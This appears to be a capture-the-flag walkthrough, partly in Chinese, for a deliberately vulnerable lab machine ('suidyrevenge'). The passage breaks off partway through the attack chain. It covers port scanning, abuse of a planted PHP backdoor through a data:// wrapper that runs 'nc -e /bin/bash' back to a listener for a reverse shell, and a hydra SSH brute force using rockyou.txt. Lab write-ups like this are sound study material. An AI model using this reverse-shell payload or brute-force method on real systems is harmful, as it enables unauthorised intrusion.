┌──(root㉿kakeru)-[~/tmp] └─# nmap 192.168.58.83 Starting Nmap 7.95 ( https://nmap.org ) at2025-03-0421:22 CST Nmap scan report for bogon (192.168.58.83) Host is up (0.00056s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp openhttp MAC Address: F2:89:91:6B:3E:9D (Unknown)
Nmap done: 1 IP address (1 host up) scanned in0.30seconds
常规的端口,直接去web里面看看。
web探测1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kakeru)-[~/tmp] └─# curl 192.168.58.83 Im proud to announce that"theuser"isnot anymore in our servers. Our admin "mudra"isthe best admin ofthe world. -suidy
<!--
"mudra"isnotthe best admin, IM IN!!!! He only changed my password to a different but I had time toput2 backdoors (.php) frommy KALI into /supersecure to keep the access!
┌──(root㉿kakeru)-[~/tmp] └─# ssh theuser@192.168.58.83 The authenticity of host '192.168.58.83 (192.168.58.83)' can't be established. ED25519 key fingerprint is SHA256:C2ARiZ0bIPPaLPinl6orW4V74Oo6OBUH2j0JSGrwcu8. This keyisnot known by any other names. Are you sure you want tocontinue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.58.83' (ED25519) to the list of known hosts. theuser@192.168.58.83's password: Linux suidyrevenge 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms foreach program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Oct 209:19:022020from192.168.1.58 theuser@suidyrevenge:~$ id uid=1004(theuser) gid=1004(theuser) groups=1004(theuser)
suidy@suidyrevenge:/home/suidy$ ls note.txt suidyyyyy suidy@suidyrevenge:/home/suidy$ cat note.txt I know that theuser is not here anymore but suidyyyyy is now more secure! root runs the script as in the past that always gives SUID to suidyyyyy binary but this time also check the size of the file. WEDONTWANTMORE"theuser"HERE!. WEARESECURENOW.
┌──(root㉿kakeru)-[~/tmp] └─# curl 192.168.58.83 Im proud to announce that"theuser"isnot anymore in our servers. Our admin "mudra"isthe best admin ofthe world. -suidy
<!--
"mudra"isnotthe best admin, IM IN!!!! He only changed my password to a different but I had time toput2 backdoors (.php) frommy KALI into /supersecure to keep the access!
http://192.168.58.83/supersecure/mysuperbackdoor.php?file=data://text/plain,%3C?php%20system(%22nc%20-e%20/bin/bash%20192.168.58.11%201234%22); ┌──(root㉿kakeru)-[/usr/share/webshells/php] └─# nc -lp 1234 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
提权2
1 2 3 4 5 6 7
www-data@suidyrevenge:~/html$ ls index.html murdanote.txt supersecure www-data@suidyrevenge:~/html$ cat murdanote.txt I always lost my password so Im using one password from rockyou.txt !
-murda
找到一个murda提示文件,提示我们要用rockyou字典爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kakeru)-[~/tmp] └─# hydra -l murda -P rockyou.txt ssh://192.168.58.83 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donot use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-0422:36:53 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1server, overall 16 tasks, 14344399login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.58.83:22/ [22][ssh] host: 192.168.58.83login: murda password: iloveyou 1of1 target successfully completed, 1validpasswordfound [WARNING] Writing restore file because 2 final worker threads did not complete untilend. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-0422:37:00
登录到murda 有一个secret.txt文件
1 2 3 4 5 6 7 8
murda@suidyrevenge:~$ ls secret.txt murda@suidyrevenge:~$ cat secret.txt I know that theuser is here! I just got the id_rsa from"violent". I will put the key in a secure place for theuser! I hope he find it. Remember that rockyou.txt is your friend!